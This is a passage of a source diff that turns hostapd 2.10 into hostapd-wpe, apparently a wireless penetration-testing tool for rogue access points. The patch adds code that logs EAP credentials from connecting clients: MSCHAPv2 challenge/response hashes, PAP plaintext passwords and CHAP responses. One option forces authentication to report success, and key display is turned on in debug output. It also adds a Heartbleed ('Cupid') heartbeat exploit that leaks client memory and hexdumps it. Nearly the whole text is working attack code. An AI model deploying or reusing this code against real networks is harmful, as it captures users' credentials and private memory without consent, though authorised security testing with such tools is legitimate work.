sm->identity_len = identity_len; + if (identity != NULL) { + hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_INFO, "Identity received from STA: '%s'", sm->identity); + } + sm->dot1xAuthEapolRespFramesRx++; wpabuf_free(sm->eap_if->eapRespData); diff '--color=auto' -rupN hostapd-2.10/src/crypto/ms_funcs.h hostapd-2.10-wpe/src/crypto/ms_funcs.h --- hostapd-2.10/src/crypto/ms_funcs.h 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/crypto/ms_funcs.h 2022-02-21 23:29:30.144000000 +0000 @@ -9,6 +9,10 @@ #ifndef MS_FUNCS_H #define MS_FUNCS_H +int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge, + const u8 *username, size_t username_len, + u8 *challenge); + int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, diff '--color=auto' -rupN hostapd-2.10/src/crypto/tls_openssl.c hostapd-2.10-wpe/src/crypto/tls_openssl.c --- hostapd-2.10/src/crypto/tls_openssl.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/crypto/tls_openssl.c 2022-02-21 23:29:30.140000000 +0000 @@ -21,6 +21,7 @@ #include #include #include +#include #ifndef OPENSSL_NO_ENGINE #include #endif /* OPENSSL_NO_ENGINE */ @@ -37,6 +38,7 @@ #include "sha256.h" #include "tls.h" #include "tls_openssl.h" +#include "wpe/wpe.h" #if !defined(CONFIG_FIPS) && \ (defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || \ @@ -204,6 +206,10 @@ static int tls_add_ca_from_keystore_enco #endif /* ANDROID */ +#if OPENSSL_VERSION_NUMBER < 0x10100000L +int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ + static int tls_openssl_ref_count = 0; static int tls_ex_idx_session = -1; @@ -1577,7 +1583,12 @@ struct tls_connection * tls_connection_i conn->context = context; SSL_set_app_data(conn->ssl, conn); - SSL_set_msg_callback(conn->ssl, tls_msg_cb); +#if OPENSSL_VERSION_NUMBER < 0x10100000L + if (wpe_conf.wpe_enable_cupid) + SSL_set_msg_callback(conn->ssl, wpe_hb_cb); + else +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ + SSL_set_msg_callback(conn->ssl, tls_msg_cb); SSL_set_msg_callback_arg(conn->ssl, conn); options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_SINGLE_DH_USE; @@ -4286,6 +4297,10 @@ openssl_handshake(struct tls_connection { int res; struct wpabuf *out_data; +#if OPENSSL_VERSION_NUMBER < 0x10100000L + int i; + struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2; +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ /* * Give TLS handshake data from the server (if available) to OpenSSL @@ -4394,6 +4409,30 @@ openssl_handshake(struct tls_connection } wpabuf_put(out_data, res); +#if OPENSSL_VERSION_NUMBER < 0x10100000L + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) { + + wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat request instead of handshake\n"); + wpe_hb_ptr1 = NULL; + + for (i = 0; i < wpe_conf.wpe_hb_num_repeats; i++) { + wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1); + memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1); + wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1); + + if (wpe_hb_ptr1) { + wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2); + } else { + wpe_hb_ptr1 = wpe_hb_ptr2; + } + } + + conn->ssl->tlsext_hb_pending = 1; + wpe_conf.wpe_hb_num_tries--; + return wpe_hb_ptr1; + } +#endif + return out_data; } @@ -4526,6 +4565,13 @@ struct wpabuf * tls_connection_encrypt(v tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } + +#if OPENSSL_VERSION_NUMBER < 0x10100000L + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata) { + wpe_hb_enc(conn); + } +#endif + res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, @@ -4533,6 +4579,12 @@ struct wpabuf * tls_connection_encrypt(v return NULL; } +#if OPENSSL_VERSION_NUMBER < 0x10100000L + if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata) { + wpe_hb_enc(conn); + } +#endif + /* Read encrypted data to be sent to the server */ buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) @@ -5773,3 +5825,69 @@ bool tls_connection_get_own_cert_used(st return SSL_get_certificate(conn->ssl) != NULL; return false; } + +#if OPENSSL_VERSION_NUMBER < 0x10100000L +int wpe_hb_enc(struct tls_connection *conn) { + unsigned char *cbuf, *p; + + unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */ + unsigned int padding = 16; //default: 16 /* Use minimum padding */ + + if (!SSL_is_init_finished(conn->ssl)) { + return -1; + } + + if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || + conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) { + wpa_printf(MSG_DEBUG, "[WPE] warning: heartbeat extension is unsupported (try anyway)\n"); + } else { + wpa_printf(MSG_DEBUG,"[WPE] Heartbeat extention is supported, may not be vulnerable!\n"); + } + + /* Check if padding is too long, payload and padding + * must not exceed 2^14 - 3 = 16381 bytes in total. + */ + OPENSSL_assert(real_payload + padding <= 16381); + + cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding); + + if(cbuf==NULL) + return -1; + + p = cbuf; + + *p++ = TLS1_HB_REQUEST; + + + /* Payload length (18 bytes here) */ + //s2n(payload, p); /* standards compliant payload */ + //s2n(payload +10, p); /* >payload to exploit heartbleed!!! */ + s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */ + + /* Sequence number */ + s2n(conn->ssl->tlsext_hb_seq, p); + /* 16 random bytes */ + RAND_pseudo_bytes(p, 16); + //RAND_bytes(p, 16); + p += 16; + /* Random padding */ + RAND_pseudo_bytes(p, padding); + //RAND_bytes(p, padding); + + wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size); + wpa_hexdump(MSG_DEBUG, "[WPE] heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding); + + /* Send heartbeat request */ +#ifdef TLS1_RT_HEARTBEAT + if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT, +#elif defined(DTLS1_RT_HEARTBEAT) + if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, DTLS1_RT_HEARTBEAT, +#endif + cbuf, 3 + real_payload + padding) >= 0) + conn->ssl->tlsext_hb_pending = 1; + OPENSSL_free(cbuf); + + return 0; +} +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ + diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server.c hostapd-2.10-wpe/src/eap_server/eap_server.c --- hostapd-2.10/src/eap_server/eap_server.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/eap_server/eap_server.c 2022-02-21 23:29:30.152000000 +0000 @@ -160,6 +160,8 @@ int eap_user_get(struct eap_sm *sm, cons { struct eap_user *user; + char ident = 't'; + if (sm == NULL || sm->eapol_cb == NULL || sm->eapol_cb->get_eap_user == NULL) return -1; @@ -171,6 +173,11 @@ int eap_user_get(struct eap_sm *sm, cons if (user == NULL) return -1; + if (phase2) { + identity = (const u8 *)&ident; + identity_len = 1; + } + if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, identity_len, phase2, user) != 0) { eap_user_free(user); diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_mschapv2.c hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c --- hostapd-2.10/src/eap_server/eap_server_mschapv2.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/eap_server/eap_server_mschapv2.c 2022-02-21 23:29:30.152000000 +0000 @@ -12,7 +12,7 @@ #include "crypto/ms_funcs.h" #include "crypto/random.h" #include "eap_i.h" - +#include "wpe/wpe.h" struct eap_mschapv2_hdr { u8 op_code; /* MSCHAPV2_OP_* */ @@ -290,7 +290,7 @@ static void eap_mschapv2_process_respons size_t username_len, user_len; int res; char *buf; - + u8 wpe_challenge_hash[8]; pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, &len); if (pos == NULL || len < 1) @@ -371,6 +371,8 @@ static void eap_mschapv2_process_respons } } #endif /* CONFIG_TESTING_OPTIONS */ + challenge_hash(peer_challenge, data->auth_challenge, username, username_len, wpe_challenge_hash); + wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24); if (username_len != user_len || os_memcmp(username, user, username_len) != 0) { @@ -405,6 +407,11 @@ static void eap_mschapv2_process_respons return; } + if (wpe_conf.wpe_enable_return_success) { + os_memset((void *)nt_response, 0, 24); + os_memset((void *)expected, 0, 24); + } + if (os_memcmp_const(nt_response, expected, 24) == 0) { const u8 *pw_hash; u8 pw_hash_buf[16], pw_hash_hash[16]; @@ -445,6 +452,8 @@ static void eap_mschapv2_process_respons wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response"); data->state = FAILURE_REQ; } + if (wpe_conf.wpe_enable_return_success) + data->state = SUCCESS; } diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_peap.c hostapd-2.10-wpe/src/eap_server/eap_server_peap.c --- hostapd-2.10/src/eap_server/eap_server_peap.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/eap_server/eap_server_peap.c 2022-02-21 23:29:30.152000000 +0000 @@ -17,7 +17,7 @@ #include "eap_common/eap_tlv_common.h" #include "eap_common/eap_peap_common.h" #include "tncs.h" - +#include "wpe/wpe.h" /* Maximum supported PEAP version * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt diff '--color=auto' -rupN hostapd-2.10/src/eap_server/eap_server_ttls.c hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c --- hostapd-2.10/src/eap_server/eap_server_ttls.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/eap_server/eap_server_ttls.c 2022-02-21 23:29:30.152000000 +0000 @@ -16,7 +16,7 @@ #include "eap_server/eap_tls_common.h" #include "eap_common/chap.h" #include "eap_common/eap_ttls.h" - +#include "wpe/wpe.h" #define EAP_TTLS_VERSION 0 @@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap( return; } - if (sm->user->password_len != user_password_len || + wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len); + + if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len || os_memcmp_const(sm->user->password, user_password, - user_password_len) != 0) { + user_password_len) != 0)) { wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password"); eap_ttls_state(data, FAILURE); return; @@ -603,8 +605,9 @@ static void eap_ttls_process_phase2_chap chap_md5(password[0], sm->user->password, sm->user->password_len, challenge, challenge_len, hash); - if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == - 0) { + wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len); + + if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) { wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password"); eap_ttls_state(data, SUCCESS); eap_ttls_valid_session(sm, data); @@ -675,7 +678,9 @@ static void eap_ttls_process_phase2_msch return; } - if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) { + wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24); + + if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) { wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response"); eap_ttls_state(data, SUCCESS); eap_ttls_valid_session(sm, data); @@ -697,7 +702,7 @@ static void eap_ttls_process_phase2_msch u8 *response, size_t response_len) { u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge, - *auth_challenge; + *auth_challenge, wpe_challenge_hash[8]; size_t username_len, i; if (challenge == NULL || response == NULL || @@ -782,6 +787,9 @@ static void eap_ttls_process_phase2_msch } rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8; + + challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash); + wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24); #ifdef CONFIG_TESTING_OPTIONS { u8 challenge2[8]; diff '--color=auto' -rupN hostapd-2.10/src/utils/wpa_debug.c hostapd-2.10-wpe/src/utils/wpa_debug.c --- hostapd-2.10/src/utils/wpa_debug.c 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/src/utils/wpa_debug.c 2022-02-21 23:29:30.160000000 +0000 @@ -28,7 +28,7 @@ static FILE *wpa_debug_tracing_file = NU int wpa_debug_level = MSG_INFO; -int wpa_debug_show_keys = 0; +int wpa_debug_show_keys = 1; // WPE >:) int wpa_debug_timestamp = 0; int wpa_debug_syslog = 0; #ifndef CONFIG_NO_STDOUT_DEBUG diff '--color=auto' -rupN hostapd-2.10/src/wpe/Makefile hostapd-2.10-wpe/src/wpe/Makefile --- hostapd-2.10/src/wpe/Makefile 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/src/wpe/Makefile 2022-02-21 23:29:30.160000000 +0000 @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.c hostapd-2.10-wpe/src/wpe/wpe.c --- hostapd-2.10/src/wpe/wpe.c 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/src/wpe/wpe.c 2022-02-21 23:29:30.160000000 +0000 @@ -0,0 +1,232 @@ +/* + wpe.c - + brad.antoniewicz@foundstone.com + Implements WPE (Wireless Pwnage Edition) functionality within + hostapd. + + WPE functionality focuses on targeting connecting users. At + it's core it implements credential logging (originally + implemented in FreeRADIUS-WPE), but also includes other patches + for other client attacks that have been modified to some extend. + + FreeRADIUS-WPE: https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/freeradius-wpe + Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff + Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd +*/ + +#include +#include +#include "includes.h" +#include "common.h" +#include "wpe/wpe.h" +#include "utils/wpa_debug.h" + +#define wpe_logfile_default_location "./hostapd-wpe.log" + + +#define MSCHAPV2_CHAL_HASH_LEN 8 +#define MSCHAPV2_CHAL_LEN 16 +#define MSCHAPV2_RESP_LEN 24 + +#if OPENSSL_VERSION_NUMBER < 0x10100000L + char wpe_hb_msg[] = "\x18\x03\x01\x00\x03\x01\xff\xff"; + size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg[0]); +#endif + +struct wpe_config wpe_conf = { + .wpe_logfile = wpe_logfile_default_location, + .wpe_logfile_fp = NULL, + .wpe_enable_karma = 0, + .wpe_enable_cupid = 0, + .wpe_enable_return_success = 0, +#if OPENSSL_VERSION_NUMBER < 0x10100000L + .wpe_hb_send_before_handshake = 1, + .wpe_hb_send_before_appdata = 0, + .wpe_hb_send_after_appdata = 0, + .wpe_hb_payload_size = 50000, + .wpe_hb_num_tries = 1, + .wpe_hb_num_repeats = 10 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ +}; + +void wpe_log_file_and_stdout(char const *fmt, ...) { + + if ( wpe_conf.wpe_logfile_fp == NULL ) { + wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a"); + if ( wpe_conf.wpe_logfile_fp == NULL ) + printf("WPE: Cannot file log file"); + } + + va_list ap; + + va_start(ap, fmt); + vprintf(fmt, ap); + va_end(ap); + + va_start(ap, fmt); + if ( wpe_conf.wpe_logfile_fp != NULL ) + vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap); + va_end(ap); +} + +void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) { + time_t nowtime; + int x; + + nowtime = time(NULL); + + wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime)); + wpe_log_file_and_stdout("\t username:\t"); + for (x=0; x?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; + + const unsigned short *sp; + const unsigned char *ap; + unsigned int i, j; + int nshorts, nshorts2; + int padding; + + wpe_log_file_and_stdout("\n\t"); + padding = 0; + sp = (unsigned short *)bp; + ap = (unsigned char *)bp; + nshorts = (unsigned int)length / sizeof(unsigned short); + nshorts2 = (unsigned int)length / sizeof(unsigned short); + i = 0; + j = 0; + while (1) { + while (--nshorts >= 0) { + wpe_log_file_and_stdout(" %04x", ntohs(*sp)); + sp++; + if ((++i % 8) == 0) + break; + } + if (nshorts < 0) { + if ((length & 1) && (((i - 1) % 8) != 0)) { + wpe_log_file_and_stdout(" %02x ", *(unsigned char *)sp); + padding++; + } + nshorts = (8 - (nshorts2 - nshorts)); + while (--nshorts >= 0) { + wpe_log_file_and_stdout(" "); + } + if (!padding) + wpe_log_file_and_stdout(" "); + } + wpe_log_file_and_stdout(" "); + + while (--nshorts2 >= 0) { + wpe_log_file_and_stdout("%c%c", asciify[*ap], asciify[*(ap + 1)]); + ap += 2; + if ((++j % 8) == 0) { + wpe_log_file_and_stdout("\n\t"); + break; + } + } + if (nshorts2 < 0) { + if ((length & 1) && (((j - 1) % 8) != 0)) { + wpe_log_file_and_stdout("%c", asciify[*ap]); + } + break; + } + } + if ((length & 1) && (((i - 1) % 8) == 0)) { + wpe_log_file_and_stdout(" %02x", *(unsigned char *)sp); + wpe_log_file_and_stdout(" %c", + asciify[*ap]); + } + wpe_log_file_and_stdout("\n"); +} + + +#if OPENSSL_VERSION_NUMBER < 0x10100000L +/* https://github.com/openssl/openssl/issues/2122 */ + +void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg) { +#ifdef TLS1_RT_HEARTBEAT + if (v_content_type == TLS1_RT_HEARTBEAT) { +#elif defined(DTLS1_RT_HEARTBEAT) + if (v_content_type == DTLS1_RT_HEARTBEAT) { +#endif + wpe_log_file_and_stdout("\n\nHeartbleed Data:\n"); + v_ssl->tlsext_hb_pending = 1; + wpe_hexdump((unsigned char *)v_buf, v_len); + } +} + + +char *wpe_hb_clear() { + char *p; + // set payload size + p = &wpe_hb_msg[sizeof(wpe_hb_msg) - 3]; + s2n(wpe_conf.wpe_hb_payload_size, p); + + return wpe_hb_msg; +} +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ diff '--color=auto' -rupN hostapd-2.10/src/wpe/wpe.h hostapd-2.10-wpe/src/wpe/wpe.h --- hostapd-2.10/src/wpe/wpe.h 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/src/wpe/wpe.h 2022-02-21 23:29:30.160000000 +0000 @@ -0,0 +1,54 @@ +/* + wpe.h - + brad.antoniewicz@foundstone.com + Implements WPE (Wireless Pwnage Edition) functionality within + hostapd. + + WPE functionality focuses on targeting connecting users. At + it's core it implements credential logging (originally + implemented in FreeRADIUS-WPE), but also includes other patches + for other client attacks. + + FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe + Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff + Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd +*/ +#include + +struct wpe_config { + char *wpe_logfile; + FILE *wpe_logfile_fp; + unsigned int wpe_enable_karma; + unsigned int wpe_enable_cupid; + unsigned int wpe_enable_return_success; +#if OPENSSL_VERSION_NUMBER < 0x10100000L + unsigned int wpe_hb_send_before_handshake:1; + unsigned int wpe_hb_send_before_appdata:1; + unsigned int wpe_hb_send_after_appdata:1; + unsigned int wpe_hb_payload_size; + unsigned int wpe_hb_num_tries; + unsigned int wpe_hb_num_repeats; +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ +}; + +extern struct wpe_config wpe_conf; + +#if OPENSSL_VERSION_NUMBER < 0x10100000L + extern char wpe_hb_msg[]; + extern size_t wpe_hb_msg_len; + + //#define WPE_HB_MSG_LEN 8 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */ + +#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ + (((unsigned int)(c[1])) )),c+=2) + +#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ + c[1]=(unsigned char)(((s) )&0xff)),c+=2) + + +void wpe_log_file_and_stdout(char const *fmt, ...); +void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len); +void wpe_log_basic(char *type, const u8 *username, size_t username_len, const u8 *password, size_t password_len); +void wpe_hb_cb(int v_write_p, int v_version, int v_content_type, const void* v_buf, size_t v_len, SSL* v_ssl, void* v_arg); +char *wpe_hb_clear();